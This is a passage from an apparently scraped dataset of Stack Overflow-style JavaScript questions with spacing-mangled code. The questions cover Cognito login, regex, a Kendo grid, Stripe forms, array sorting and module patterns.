variadic ) ? Does the ability to feed an arbitrary number of arrays through the callback function of array_map outweigh having more uniform function signatures ? EDIT/ Comment : from Wikipedia , this puts in perspective just how long PHP has been evolving : 'Early PHP was not intended to be a new programming language , and grew organically , with Lerdorf noting in retrospect : `` I don ’ t know how to stop it , there was never any intent to write a programming language [ … ] I have absolutely no idea how to write a programming language , I just kept adding the next logical step on the way . '' A development team began to form and , after months of work and beta testing , officially released PHP/FI 2 in November 1997 . The fact that PHP was not originally designed but instead was developed organically has led to inconsistent naming of functions and inconsistent ordering of their parameters . In some cases , the function names were chosen to match the lower-level libraries which PHP was `` wrapping '' , while in some very early versions of PHP the length of the function names was used internally as a hash function , so names were chosen to improve the distribution of hash values . ' ( current , index , array ) = > { … }",Why does the function signature differ between array_map and array_filter/array_reduce ? "JS : I 'm new to Cognito . So I need some clarification about how I should be registering users who have signed up via a social login.I 've created both a user pool and a federated identity pool.Then I performed a basic oauth request to twitter upon the user 's login button click , and then with the twitter token and secret that I receive after successfully logging them in , I perform a request to get Cognito Identity credentials.And then I get a successful response with a cognito identity Id , and a list of datasets for that user.Should I also be registering that user in a user pool too ? the documentation for this product is kinda disjointed when it comes to the concept of social login . var params = { IdentityPoolId : 'my-pool-id ' , Logins : { 'api.twitter.com ' : userToken+ '' ; '' +userSecret } } ; // initialize the Credentials object with our parametersAWS.config.credentials = new AWS.CognitoIdentityCredentials ( params ) ; AWS.config.credentials.get ( function ( err ) { if ( err ) { console.log ( `` Error : `` +err ) ; return ; } console.log ( `` Cognito Identity Id : `` + AWS.config.credentials.identityId ) ; // Other service clients will automatically use the Cognito Credentials provider // configured in the JavaScript SDK . var cognitoSyncClient = new AWS.CognitoSync ( ) ; cognitoSyncClient.listDatasets ( { IdentityId : AWS.config.credentials.identityId , IdentityPoolId : params.IdentityPoolId } , function ( err , data ) { if ( ! err ) { console.log ( `` success '' , JSON.stringify ( data ) ) ; } else { console.log ( `` cognito error '' , err ) ; } } ) ;",User pools for users who register via twitter ? "JS : I would like to replace all strings that are enclosed by - into strings enclosed by ~ , but not if this string again is enclosed by *.As an example , this string ... ... should become ... We see - is only replaced if it is not within * < here > *.My javascript-regex for now ( which takes no care whether it is enclosed by * or not ) : Edit : Note that it might be the case that there is an odd number of *s . The -quick- *brown -f-ox* jumps . The ~quick~ *brown -f-ox* jumps . var message = source.replace ( /- ( . [ ^- ] + ? ) -/g , `` ~ $ 1~ '' ) ;",Do n't replace regex if it is enclosed by a character "JS : I have a Kendo grid with server side paging/sorting/filtering and with endless scrolling enabled . With this scenario I have the problem that when the grid is filtered , the data is loaded twice . The first time all data is loaded and the second time the filtered data is loaded.To reproduce the problem you have to do the following steps.Code Example : https : //dojo.telerik.com/ @ Ruben/OnODEravScroll down in the grid until new data is loadedIn the console there should be the event `` Grid data bound '' two times by nowSet any filter on any columnNow you have the event `` Grid data bound '' four times in the console , instead of three times ! The error occurs only after you scrolled down . If you restart and only do step three you will see that the event is only fired two times ( initial one and after filtering ) which is correct.Does anybody know how I can prevent it from loading the data twice ? function onDataBound ( arg ) { kendoConsole.log ( `` Grid data bound '' ) ; } $ ( document ) .ready ( function ( ) { $ ( `` # grid '' ) .kendoGrid ( { dataSource : { type : `` odata '' , transport : { read : `` https : //demos.telerik.com/kendo-ui/service/Northwind.svc/Orders '' } , schema : { model : { fields : { OrderID : { type : `` number '' } , Freight : { type : `` number '' } , ShipName : { type : `` string '' } , OrderDate : { type : `` date '' } , ShipCity : { type : `` string '' } } } } , pageSize : 20 , serverPaging : true , serverFiltering : true , serverSorting : true } , height : 550 , dataBound : onDataBound , filterable : true , sortable : true , scrollable : { endless : true } , pageable : { numeric : false , previousNext : false } , columns : [ { field : '' OrderID '' , filterable : false } , `` Freight '' , { field : `` OrderDate '' , title : `` Order Date '' , format : `` { 0 : MM/dd/yyyy } '' } , { field : `` ShipName '' , title : `` Ship Name '' } , { field : `` ShipCity '' , title : `` Ship City '' } ] } ) ; } ) ; ( function ( $ , undefined ) { window.kendoConsole = { log : function ( message , isError , container ) { var lastContainer = $ ( `` .console div : first '' , container ) , counter = lastContainer.find ( `` .count '' ) .detach ( ) , lastMessage = lastContainer.text ( ) , count = 1 * ( counter.text ( ) || 1 ) ; lastContainer.append ( counter ) ; if ( ! lastContainer.length || message ! == lastMessage ) { $ ( `` < div '' + ( isError ? `` class='error ' '' : `` '' ) + `` / > '' ) .css ( { marginTop : -24 , backgroundColor : isError ? `` # ffbbbb '' : `` # b2ebf2 '' } ) .html ( message ) .prependTo ( $ ( `` .console '' , container ) ) .animate ( { marginTop : 0 } , 300 ) .animate ( { backgroundColor : isError ? `` # ffdddd '' : `` # ffffff '' } , 800 ) ; } else { count++ ; if ( counter.length ) { counter.html ( count ) ; } else { lastContainer.html ( lastMessage ) .append ( `` < span class='count ' > '' + count + `` < /span > '' ) ; } } } , error : function ( message ) { this.log ( message , true ) ; } } ; } ) ( jQuery ) ; /* * jQuery Color Animations * Copyright 2007 John Resig * Released under the MIT and GPL licenses . */ ( function ( jQuery ) { // We override the animation for all of these color styles jQuery.each ( [ `` backgroundColor '' , `` borderBottomColor '' , `` borderLeftColor '' , `` borderRightColor '' , `` borderTopColor '' , `` color '' , `` outlineColor '' ] , function ( i , attr ) { jQuery.fx.step [ attr ] = function ( fx ) { if ( ! fx.state || typeof fx.end == typeof `` '' ) { fx.start = getColor ( fx.elem , attr ) ; fx.end = getRGB ( fx.end ) ; } fx.elem.style [ attr ] = [ `` rgb ( `` , [ Math.max ( Math.min ( parseInt ( ( fx.pos * ( fx.end [ 0 ] - fx.start [ 0 ] ) ) + fx.start [ 0 ] , 10 ) , 255 ) , 0 ) , Math.max ( Math.min ( parseInt ( ( fx.pos * ( fx.end [ 1 ] - fx.start [ 1 ] ) ) + fx.start [ 1 ] , 10 ) , 255 ) , 0 ) , Math.max ( Math.min ( parseInt ( ( fx.pos * ( fx.end [ 2 ] - fx.start [ 2 ] ) ) + fx.start [ 2 ] , 10 ) , 255 ) , 0 ) ] .join ( `` , '' ) , `` ) '' ] .join ( `` '' ) ; } ; } ) ; // Color Conversion functions from highlightFade // By Blair Mitchelmore // http : //jquery.offput.ca/highlightFade/ // Parse strings looking for color tuples [ 255,255,255 ] function getRGB ( color ) { var result ; // Check if we 're already dealing with an array of colors if ( color & & color.constructor == Array & & color.length == 3 ) { return color ; } // Look for rgb ( num , num , num ) result = /rgb\ ( \s* ( [ 0-9 ] { 1,3 } ) \s* , \s* ( [ 0-9 ] { 1,3 } ) \s* , \s* ( [ 0-9 ] { 1,3 } ) \s*\ ) /.exec ( color ) ; if ( result ) { return [ parseInt ( result [ 1 ] , 10 ) , parseInt ( result [ 2 ] , 10 ) , parseInt ( result [ 3 ] , 10 ) ] ; } // Look for # a0b1c2 result = / # ( [ a-fA-F0-9 ] { 2 } ) ( [ a-fA-F0-9 ] { 2 } ) ( [ a-fA-F0-9 ] { 2 } ) /.exec ( color ) ; if ( result ) { return [ parseInt ( result [ 1 ] , 16 ) , parseInt ( result [ 2 ] , 16 ) , parseInt ( result [ 3 ] , 16 ) ] ; } // Otherwise , we 're most likely dealing with a named color return jQuery.trim ( color ) .toLowerCase ( ) ; } function getColor ( elem , attr ) { var color ; do { color = jQuery.css ( elem , attr ) ; // Keep going until we find an element that has color , or we hit the body if ( color & & color ! = `` transparent '' || jQuery.nodeName ( elem , `` body '' ) ) { break ; } attr = `` backgroundColor '' ; elem = elem.parentNode ; } while ( elem ) ; return getRGB ( color ) ; } var href = window.location.href ; if ( href.indexOf ( `` culture '' ) > -1 ) { $ ( `` # culture '' ) .val ( href.replace ( / ( . * ) culture= ( [ ^ & ] * ) / , `` $ 2 '' ) ) ; } function onlocalizationchange ( ) { var value = $ ( this ) .val ( ) ; var href = window.location.href ; if ( href.indexOf ( `` culture '' ) > -1 ) { href = href.replace ( /culture= ( [ ^ & ] * ) / , `` culture= '' + value ) ; } else { href += href.indexOf ( `` ? '' ) > -1 ? `` & culture= '' + value : `` ? culture= '' + value ; } window.location.href = href ; } $ ( `` # culture '' ) .change ( onlocalizationchange ) ; } ) ( jQuery ) ; /*global*/.floatWrap : after , # example : after { content : '' '' ; display : block ; clear : both } .floatWrap , # example { display : inline-block } .floatWrap , # example { display : block } .clear { clear : both } body , h1 , h2 , h3 , h4 , p , ul , li , a , button { margin:0 ; padding:0 ; list-style : none ; } html { top : 0 ; left : 0 ; overflow-y : scroll ; font:75 % Arial , Helvetica , sans-serif ; background : # f5f7f8 ; } body { margin : 0 ; padding : 0 ; } a , li > a , h2 > a , h3 > a , a { text-decoration : none ; -webkit-tap-highlight-color : rgba ( 0,0,0,0 ) ; } a { color : # 0487c4 ; } a : hover { text-decoration : underline ; } .page { max-width:72 % ; margin : 2 % auto ; padding : 3 % 5 % 0 ; background : # fff ; border : 1px solid # e2e4e7 ; } .offline-button { display : inline-block ; margin : 0 0 30px ; padding : 9px 23px ; background-color : # 015991 ; border-radius : 2px ; color : # fff ; text-decoration : none ; font-size : 13px ; font-weight : 700 ; line-height : 1.2 ; transition-duration : 0.2s ; transition-property : background-color ; transition-timing-function : ease ; } .offline-button : hover { background-color : # 013a5e ; color : # fff ; text-decoration : none ; } # example { margin : 2em 0 5em ; padding : 0 ; border : 0 ; background : transparent ; font-size : 14px ; } /*console*/.console { background-color : transparent ; color : # 333 ; font : 11px Consolas , Monaco , `` Bitstream Vera Sans Mono '' , `` Courier New '' , Courier , monospace ; margin : 0 ; overflow-x : hidden ; text-align : left ; height : 200px ; border : 1px solid rgba ( 20,53,80,0.1 ) ; background-color : # ffffff ; text-indent : 0 ; } .demo-section .box-col .console { min-width : 200px ; } .console .count { background-color : # 26c6da ; -moz-border-radius : 15px ; -webkit-border-radius : 15px ; border-radius : 15px ; color : # ffffff ; font-size : 10px ; margin-left : 5px ; padding : 2px 6px 2px 5px ; } .console div { background-position : 6px -95px ; border-bottom : 1px solid # DDD ; padding : 5px 10px ; height : 2em ; line-height : 2em ; vertical-align : middle ; } .console .error { background-position : 6px -135px ; } /*configurator*/.centerWrap .configuration , .configuration , .configuration-horizontal { margin : 4.5em auto ; padding : 3em ; background-color : rgba ( 20,53,80,0.038 ) ; border : 1px solid rgba ( 20,53,80,0.05 ) ; } .absConf .configuration { position : absolute ; top : -1px ; right : -1px ; height : auto ; margin : 0 ; z-index : 2 ; } .configuration-horizontal { position : static ; height : auto ; min-height : 0 ; margin : 0 auto ; zoom : 1 ; } .configuration-horizontal-bottom { margin : 20px -21px -21px ; position : static ; height : auto ; min-height : 0 ; width : auto ; float : none ; } .configuration .configHead , .configuration .infoHead , .configuration-horizontal .configHead , .configuration-horizontal .infoHead { display : block ; margin-bottom : 1em ; font-size : 12px ; line-height : 1em ; font-weight : bold ; text-transform : uppercase ; } .configuration .configTitle , .configuration-horizontal .configTitle { font-size : 12px ; display : block ; line-height : 22px ; } .configuration .options , .configuration-horizontal .options { list-style : none ; margin : 0 ; padding : 0 ; } .configuration button , .configuration-horizontal button { margin : 0 ; vertical-align : middle ; } .configuration .k-textbox , .configuration-horizontal .k-textbox { margin-left : 7px ; width : 30px ; } .configuration .options li { display : block ; margin : 0 ; padding : 0.2em 0 ; zoom : 1 ; } .configuration .options li : after , .configuration-horizontal : after { content : `` '' ; display : block ; clear : both ; height : 0 ; } .configuration-horizontal .config-section { display : block ; float : left ; min-width : 200px ; margin : 0 ; padding : 10px 20px 10px 10px ; } .configuration label , .configuration input { vertical-align : middle ; line-height : 20px ; margin-top : 0 ; } .configuration label { float : left ; } .configuration input { width : 40px ; } .configuration input , .configuration select , .configuration .k-numerictextbox { float : right ; } .configuration input.k-input { float : none ; } .configuration .k-button , .configuration .k-widget { margin-bottom : 3px ; } /* Code Viewer */.source { background-color : # f5f7f8 ; margin : 0 0 5em ; border : 1px solid rgba ( 20,53,80,0.05 ) ; } .source .code { background-color : # fff ; border-top : 1px solid rgba ( 20,53,80,0.08 ) ; padding : 20px 0 0 ; } .source .code pre { margin : 0 ; padding : 0 20px 20px ; } .source .offline-button { background : none ; text-decoration : none ; color : # 0487c4 ; margin : 10px 0 10px 14px ; padding : 10px ; } .source .offline-button.selected { color : # 000 ; } .source .code .controller { display : none ; } /* Pretty Print */.prettyprint { font-size : 12px ; overflow : auto ; } pre .nocode { background-color : transparent ; color : # 000 ; } pre .str , /* string */pre .atv { color : # 2db245 ; } /* attribute value */pre .kwd { color : # ff3399 ; } /* keyword */pre .com { color : # 9933cc ; } /* comment */pre .typ { color : # 000 ; } /* type */pre .lit { color : # 0099ff ; } /* literal */pre .pun { color : # 333 ; } /* punctuation */pre .pln { color : # 3e526b ; } /* plaintext */pre .tag { color : # 3e526b ; } /* html/xml tag */pre .atn { color : # 3e526b ; } /* attribute name */pre .dec { color : # 3e526b ; } /* decimal *//* Specify class=linenums on a pre to get line numbering */ol.linenums { margin-top : 0 ; margin-bottom : 0 ; color : # 333 ; } li.L0 , li.L1 , li.L2 , li.L3 , li.L5 , li.L6 , li.L7 , li.L8 { list-style-type : none } li.L1 , li.L3 , li.L5 , li.L7 , li.L9 { background : # eee ; } /*keyboard navigation legend */.key-button { display : inline-block ; text-decoration : none ; color : # 555 ; min-width : 20px ; margin : 0 ; padding : 3px 5px ; font-size : 12px ; text-align : center ; border-radius : 2px ; -webkit-border-radius : 2px ; -moz-border-radius : 2px ; background : # eee ; box-shadow : 0 1px 0 1px rgba ( 0,0,0,0.1 ) , 0 2px 0 rgba ( 0,0,0,0.1 ) ; } .widest { } .wider { } .wide { } .leftAlign , .rightAlign , .centerAlign { text-align : left ; } .letter { padding-top : 14px ; padding-bottom : 11px ; font-weight : bold ; font-size : 17px ; } ul.keyboard-legend { list-style-type : none ; margin : 0 auto ; padding : 0 ; text-align : left ; } # example ul.keyboard-legend li , .demo-section .box-col ul.keyboard-legend li { display : block ; margin : 0 ; padding : 4px 0 ; line-height : 1.5em ; } ul.keyboard-legend li a { color : # 0487C4 ; } .button-preview { display : inline-block ; vertical-align : top ; padding : 0 5px 0 0 ; } .button-descr { display : inline-block ; vertical-align : top ; text-align : left ; padding : 3px 0 ; } .demo-section p a.hyperlink , .config-section a { color : # e15613 ; text-decoration : none ; } .chart-wrapper , .map-wrapper , .diagram-wrapper { position : relative ; height : 430px ; margin : 0 auto 15px auto ; padding : 10px ; } # example.absConf .chart-wrapper , # example.absConf .map-wrapper , # example.absConf .diagram-wrapper { margin-left : 0 ; } .chart-wrapper .k-chart , .map-wrapper .k-map , .diagram-wrapper .k-diagram { height : 430px ; } .config-section.console-section { width : 400px ; float : right ; } # page > h2 { float : none ; text-align : center ; width : auto ; padding : 5em 0 1em ; font-size : 3em ; } # suites .imgPlate , # suites .box { border-width : 0 ; -webkit-box-shadow : none ; -moz-box-shadow : none ; box-shadow : none ; } # suites { text-align : center ; } # suites .box { float : none ; clear : none ; display : inline-block ; width : auto ; min-width : auto ; } # suites .box h2 { margin-top : 1em ; } # draggable { cursor : pointer ; position : absolute ; top : 210px ; left : 30px ; border : 1px solid # ff8000 ; width : 78px ; height : 78px ; border-radius : 37px ; box-shadow : 2px 0 10px # 9d9d9d ; background : # ffcc00 url ( ../../web/dragdrop/draggable.png ) 50 % 50 % no-repeat ; background : url ( ../../web/dragdrop/draggable.png ) 50 % 50 % no-repeat , -moz-linear-gradient ( top , # ffcc00 0 % , # ff8000 100 % ) ; background : url ( ../../web/dragdrop/draggable.png ) 50 % 50 % no-repeat , -webkit-gradient ( linear , left top , left bottom , color-stop ( 0 % , # ffcc00 ) , color-stop ( 100 % , # ff8000 ) ) ; background : url ( ../../web/dragdrop/draggable.png ) 50 % 50 % no-repeat , -webkit-linear-gradient ( top , # ffcc00 0 % , # ff8000 100 % ) ; background : url ( ../../web/dragdrop/draggable.png ) 50 % 50 % no-repeat , -o-linear-gradient ( top , # ffcc00 0 % , # ff8000 100 % ) ; background : url ( ../../web/dragdrop/draggable.png ) 50 % 50 % no-repeat , -ms-linear-gradient ( top , # ffcc00 0 % , # ff8000 100 % ) ; background : url ( ../../web/dragdrop/draggable.png ) 50 % 50 % no-repeat , linear-gradient ( top , # ffcc00 0 % , # ff8000 100 % ) ; } # draggable.hollow { cursor : default ; background : # ececec ; border-color : # cbcbcb ; } /* Box Styles */.box { margin : 4.5em 7.5em ; padding : 3em ; background-color : rgba ( 20,53,80,0.038 ) ; border : 1px solid rgba ( 20,53,80,0.05 ) ; } .demo-section { margin : 0 auto 4.5em ; padding : 3em ; border : 1px solid rgba ( 20,53,80,0.14 ) ; } .demo-section : not ( .wide ) , # example .box : not ( .wide ) { max-width : 400px ; } .box : after , .demo-section : after { content : `` '' ; display : block ; clear : both ; height : 0 ; } # example .box { margin : 4.5em auto ; } # example .box : first-child { margin-top : 0 ; } .demo-section.k-content { box-shadow : 0 1px 2px 1px rgba ( 0,0,0 , .08 ) , 0 3px 6px rgba ( 0,0,0 , .08 ) ; } .box h4 , .demo-section h4 { margin-bottom : 1em ; font-size : 12px ; line-height : 1em ; font-weight : bold ; text-transform : uppercase ; } .box-col { display : block ; float : left ; padding : 0 3em 1.667em 0 ; } .box ul : not ( .km-widget ) li , .demo-section .box-col ul : not ( .km-widget ) li { line-height : 3em ; } .box li : last-child { margin-bottom : 0 ; } .box li a { font-size : 13px ; } .box .k-widget { background-color : # ebeef0 ; border-color : # ccc ; color : # 7c7c7c ; } .box .k-widget.k-slider { background-color : transparent ; } .box .k-button { cursor : pointer ; border-radius : 2px ; font-size : inherit ; color : # 333 ; background : # e2e4e7 ; border-color : # e2e4e7 ; min-width : 90px ; box-shadow : none ; } .box .k-upload-status .k-button-bare { min-width : 0 ; } .box .k-button : hover , .box .k-button : focus : active : not ( .k-state-disabled ) : not ( [ disabled ] ) , .box .k-button : focus : not ( .k-state-disabled ) : not ( [ disabled ] ) { background : # cad0d6 ; border-color : # cad0d6 ; color : # 000 ; box-shadow : none ; } .box .k-primary { color : # fff ; background : # 015991 ; border-color : # 015991 ; } .box .k-primary : hover , .box .k-primary : focus : active : not ( .k-state-disabled ) : not ( [ disabled ] ) , .box .k-primary : focus : not ( .k-state-disabled ) : not ( [ disabled ] ) { background : # 013A5E ; border-color : # 013A5E ; color : # fff ; } .box .k-textbox , .box textarea { background : # fff ; border-color : # e2e4e7 ; color : # 555 ; border-radius : 2px ; } .box .k-textbox : hover , .box .k-textbox : active , .box .k-textbox : focus , .box textarea : hover , .box textarea : active , .box textarea : focus { border-color : # cad0d6 ; background : # fff ; color : # 333 ; box-shadow : none ; } .box.demo-description p { line-height : 1.5em ; max-width : 1000px ; padding-bottom : 1em ; } .box.demo-description p : last-child { padding-bottom : 0 ; } .box.demo-description ul , .box.demo-description ul li { list-style : disc inside ; line-height : 1.5em ; max-width : 1000px ; } .box.demo-description ol , .box.demo-description ol li { list-style : decimal inside ; line-height : 1.5em ; max-width : 1000px ; } .box.demo-description ul , .box.demo-description ol { margin : 1em ; padding : 0 ; } .demo-hint { line-height : 22px ; color : # aaa ; font-style : italic ; font-size : .9em ; padding-top : 1em ; } .responsive-message { font-size : 17px ; display : none ; margin : 4em auto ; padding : 2.5em ; text-align : center ; background-color : # ffda3f ; color : # 000 ; } .responsive-message : before { content : `` This demo requires browser or device screen width to be equal or greater than 1024px . `` ; } @ media screen and ( max-width : 1023px ) { .page { max-width:100 % ; margin : 0 ; padding : 10px ; background : # fff ; border : 0 ; } .hidden-on-narrow { display : none ! important ; } .responsive-message { display : block ; } } div.console div { height : auto ; } < ! DOCTYPE html > < html > < head > < base href= '' https : //demos.telerik.com/kendo-ui/grid/remote-data-binding '' > < style > html { font-size : 14px ; font-family : Arial , Helvetica , sans-serif ; } < /style > < title > < /title > < link rel= '' stylesheet '' href= '' https : //kendo.cdn.telerik.com/2019.3.1023/styles/kendo.default-v2.min.css '' / > < script src= '' https : //kendo.cdn.telerik.com/2019.3.1023/js/jquery.min.js '' > < /script > < script src= '' https : //kendo.cdn.telerik.com/2019.3.1023/js/kendo.all.min.js '' > < /script > < /head > < body > < div id= '' example '' > < div id= '' grid '' > < /div > < div class= '' box wide '' > < h4 > Console log < /h4 > < div class= '' console '' > < /div > < /div > < /div > < /body > < /html >",How to prevent the Kendo grid from loading the data twice if endless scrolling is enabled ? "JS : I 'm practicing my javascript and I 've come across the following array.i 'm trying to find the oldest person in the array but I keep getting the wrong person.here 's my codeso it keeps saying that 'Carly ' is the oldest person rather than 'Ray ' ? How would I go about it ? note that 'Carly ' has no yearOfDeath and therefore she is still alive . const people = [ { name : 'Carly ' , yearOfBirth : 2018 , } , { name : 'Ray ' , yearOfBirth : 1962 , yearOfDeath : 2011 } , { name : 'Jane ' , yearOfBirth : 1912 , yearOfDeath : 1941 } , ] let findTheOldest = function ( people ) { const oldest = people.sort ( ( a , b ) = > ( a.yearOfDeath - a.yearOfBirth ) > ( b.yearOfDeath - b.yearOfBirth ) ? -1 : 1 ) ; return oldest [ 0 ] ; }",How to get the oldest person in this array "JS : I 'm using the default card element from Stripe which can be found here . The form renders and the validation stripe includes works & renders . However , I never get a stripeToken generated so the subscription fails due to ; When I die dump my requests the stripeToken is NULL . I think this is because the stripe form handler does n't work at all for me , the event listener they include does n't ever fire.Looks like the form is just posting like a normal form instead of the prevent default JS listener added by stripe . The Javascript included from the elements example ; This is my controller , as I mentioned the $ request- > stripeToken does n't exist I do n't think it ever gets added to the form . This customer has no attached payment source < form action= '' { { route ( 'subscriptionCreate ' ) } } '' method= '' post '' id= '' payment-form '' > @ csrf < input type= '' hidden '' name= '' plan '' value= '' { { $ plan- > id } } '' > < div class= '' form-row '' > < label for= '' card-element '' > Credit or debit card < /label > < div id= '' card-element '' > < ! -- A Stripe Element will be inserted here . -- > < /div > < div id= '' card-errors '' role= '' alert '' > < /div > < /div > < button > Submit Payment < /button > < /form > < script > // Create a Stripe client.var stripe = Stripe ( ' # # # Removed # # # ' ) ; // Create an instance of Elements.var elements = stripe.elements ( ) ; // Custom styling can be passed to options when creating an Element.// ( Note that this demo uses a wider set of styles than the guide below . ) var style = { base : { color : ' # 32325d ' , fontFamily : ' '' Helvetica Neue '' , Helvetica , sans-serif ' , fontSmoothing : 'antialiased ' , fontSize : '16px ' , ' : :placeholder ' : { color : ' # aab7c4 ' } } , invalid : { color : ' # fa755a ' , iconColor : ' # fa755a ' } } ; // Create an instance of the card Element.var card = elements.create ( 'card ' , { style : style } ) ; // Add an instance of the card Element into the ` card-element ` < div > .card.mount ( ' # card-element ' ) ; // Handle real-time validation errors from the card Element.card.addEventListener ( 'change ' , function ( event ) { var displayError = document.getElementById ( 'card-errors ' ) ; if ( event.error ) { displayError.textContent = event.error.message ; } else { displayError.textContent = `` ; } } ) ; // Handle form submission.var form = document.getElementById ( 'payment-form ' ) ; form.addEventListener ( 'submit ' , function ( event ) { event.preventDefault ( ) ; stripe.createToken ( card ) .then ( function ( result ) { if ( result.error ) { // Inform the user if there was an error . var errorElement = document.getElementById ( 'card-errors ' ) ; errorElement.textContent = result.error.message ; } else { // Send the token to your server . stripeTokenHandler ( result.token ) ; } } ) ; } ) ; // // Submit the form with the token ID.function stripeTokenHandler ( token ) { // Insert the token ID into the form so it gets submitted to the server var form = document.getElementById ( 'payment-form ' ) ; var hiddenInput = document.createElement ( 'input ' ) ; hiddenInput.setAttribute ( 'type ' , 'hidden ' ) ; hiddenInput.setAttribute ( 'name ' , 'stripeToken ' ) ; hiddenInput.setAttribute ( 'value ' , token.id ) ; form.appendChild ( hiddenInput ) ; // Submit the form form.submit ( ) ; } < /script > public function create ( Request $ request ) { $ plan = Plan : :findOrFail ( $ request- > get ( 'plan ' ) ) ; $ user = $ request- > user ( ) ; $ request- > user ( ) - > newSubscription ( $ plan- > name , $ plan- > stripe_plan ) - > create ( $ request- > stripeToken , [ 'email ' = > $ user- > email ] ) ; return redirect ( ) - > route ( 'home ' ) - > with ( 'success ' , 'Your plan subscribed successfully ' ) ; }",Laravel stripe payment form is n't handled just posted "JS : I have string coming from the server : The first numbers always means 'Red ' Numbers after | always means 'Green ' Numbers after -always means 'Blue ' The issue here is that Green and Blue can come back in either order : Or they can be missing entirely : I need a function that returns one array/object to make things easy : I 've tried two functions , one to get Green and the other Blue , but I realized that does n't work properly depending on the order they appear in the string.Doing this sometimes causes my object to look like this : How should I proceed ? //A123|155-244 //B123-244|155 //C123|155 //Avar result = { red : '' 123 '' , green : '' 155 '' , blue : '' 244 '' } //Bvar result = { red : '' 123 '' , green : '' 155 '' , blue : '' 244 '' } //Cvar result = { red : '' 123 '' , green : '' 155 '' , blue : '' 0 '' } var getGreen = function ( myvar ) { return myvar.split ( '- ' ) ; } ; var getBlue = function ( myvar ) { return myvar.split ( '| ' ) ; } ; var result = { red : '' 123 '' , green : '' 155 '' , blue : '' 244|155 '' }",String split to javascript Object "JS : At work , we use jQuery . Shortly after we started using it , I saw that a couple developers were adding functions to a file jquery-extensions.js . Inside , I found a whole bunch of methods added to $ that essentially amount to static methods on jQuery . Here 's a few : Etc . None of them actually use anything to do with jQuery . This struck me as odd.Eventually , we needed a function in our library to localize dates . My solution was to create : Shortly after doing this , I get a Sr . Developer coming up to me asking me what I think I 'm doing . He tells me that here , where I work , we do n't create prototypes because they 're evil . The only reasons he gave was that they 're fundamentally a poor language features because they `` can be abused '' and that it 's confusing to see prototypes ( e.g . how do I know new Date ( ) .toLocaleDate ( ) is a prototype and not native ECMAScript ) . By using $ .formatString ( ... ) instead of `` blah blah '' .formatString ( ... ) , we 're keeping it clear that anything with a $ is not part of native JavaScript.Those reasons seem a bit silly , but I offered a compromise so he would n't have to remember whether a method was an prototype—prefix the prototype function name with $ : That was quickly dismissed and now I 'm having to add these $ .myPrototypeAsAFauxStaticMethodOnjQuery ( ) functions everywhere.Am I the only one that thinks this practice is stupid ? $ .formatString ( str , args ) { ... } $ .objectToArray ( obj ) { ... } Date.prototype.toLocaleDate = function ( ) { ... } Date.parseLocalDate = function ( ) { ... } String.prototype. $ format = function ( ) { ... } '' blah blah '' . $ format ( ... ) ;",Native prototypes vs $ .extension ( ) "JS : I 'm new to node and JS and was working thorough the socket.io chat example ( http : //socket.io/get-started/chat/ ) . I came across this code in the server : I 've looked at other tutorials and never seen double parentheses after require before . What does the ( http ) part do ? Is it a parameter for require , doest it change the type , or something else ? Thanks ! var app = require ( 'express ' ) ( ) ; var http = require ( 'http ' ) .Server ( app ) ; var io = require ( 'socket.io ' ) ( http ) ;",Double parameters with require : var io = require ( 'socket.io ' ) ( http ) ; "JS : I have this object which its keys are guaranteed sorted and will be used for the operation . And each of its value is a 2d array.I am trying to concatenate them and for each of its last value of the array is the next index of the object . So , my expected result is an array like this , The pattern is , I have to find a way from 0 which is the first index of obj , to the last index which is 6 by using the values in each of it and linking its last array value to the next object . If that makes sense.This is my code so far , as I do n't know how to proceed further..Any idea or feedback is welcome.EditOne of the expected result was [ 0 , 1 , 2 , 3 , 4 , 5 , 6 ] , here 's the step by step explanation.The obj key starts from 0 and ends in 6 , I have to form a way from 0 to 6 with the arrays in its value.Starts from obj [ 0 ] , the first array returns [ 0 , 1 ] , save this to res . ( res is now [ 0 , 1 ] ) The last value of array in res is 1 , now find the next value in obj [ 1 ] obj [ 1 ] has two arrays , and ends with 2 or 3.. So it 's possible to append with both of them , so it can be [ 0 , 1 , 2 ] or [ 0 , 1 , 3 ] . In this case , get the first one which is [ 1 , 2 ] and append the last value to res . ( res is now [ 0 , 1 , 2 ] ) .The last value of array in res is now 2 , now find the next value in obj [ 2 ] .obj [ 2 ] has two arrays , and ends with 3 , or 5.. It 's possible to append with both of them , so it can be [ 0 , 1 , 2 , 3 ] or [ 0 , 1 , 2 , 5 ] . In this case , get the first one which is [ 2 , 3 ] and append the last value to res . ( res is now [ 0 , 1 , 2 , 3 ] ) The last value of array in res is now 3 , now find the next value in obj [ 3 ] .Repeat step 4 or 6 . ( res is now [ 0 , 1 , 2 , 3 , 4 ] ) .The last value of array in res is now 4 , now find the next value in obj [ 4 ] .Repeat step 4 or 6 . ( res is now [ 0 , 1 , 2 , 3 , 4 , 5 ] ) .The last value of array in res is now 5 , now find the next value in obj [ 5 ] .Now value 6 is found which should be the end of iteration if you look at the step 4 . Repeat step 4 or 6 . ( res is now [ 0 , 1 , 2 , 3 , 4 , 5 , 6 ] ) .Repeat from step 1 , and form another way to do it , with no duplicates of [ 0 , 1 , 2 , 3 , 4 , 5 ,6 ] . var obj = { `` 0 '' : [ [ 0 , 1 ] , [ 0 , 3 ] , [ 0 , 4 ] ] , `` 1 '' : [ [ 1 , 2 ] , [ 1 , 3 ] ] , `` 2 '' : [ [ 2 , 3 ] , [ 2 , 5 ] ] , `` 3 '' : [ [ 3 , 4 ] , [ 3 , 6 ] ] , `` 5 '' : [ [ 5 , 6 ] ] , `` 6 '' : [ [ 6 , 5 ] ] } [ 0 , 1 , 2 , 3 , 4 , 5 , 6 ] [ 0 , 1 , 2 , 3 , 6 ] [ 0 , 1 , 2 , 5 , 6 ] [ 0 , 1 , 3 , 4 , 5 , 6 ] [ 0 , 1 , 3 , 4 ] [ 0 , 1 , 3 , 6 ] [ 0 , 3 , 4 , 5 , 6 ] [ 0 , 3 , 6 ] [ 0 , 4 ] var result = [ ] ; for ( var key in obj ) { var myarr = obj [ key ] ; for ( var i = 0 ; i < myarr.length ; i++ ) { result.push ( myarr [ i ] ) } }",JS how to reform this irregular object "JS : I am trying to organize my JavaScript better . My goal is to have modular architecture that I can break into separate files ( sitename.js , sitename.utils.js etc ) . I 'd like to know what are advantages and disadvantages of these two patterns and which one is more suitable for breaking into modules that live in separate files.PATTERN # 1 ( module pattern ) PATTERN # 2 ( singleton ) var MODULE = ( function ( ) { //private methods return { common : { init : function ( ) { console.log ( `` common.init '' ) ; } } , users : { init : function ( ) { console.log ( `` users.init '' ) ; } , show : function ( ) { console.log ( `` 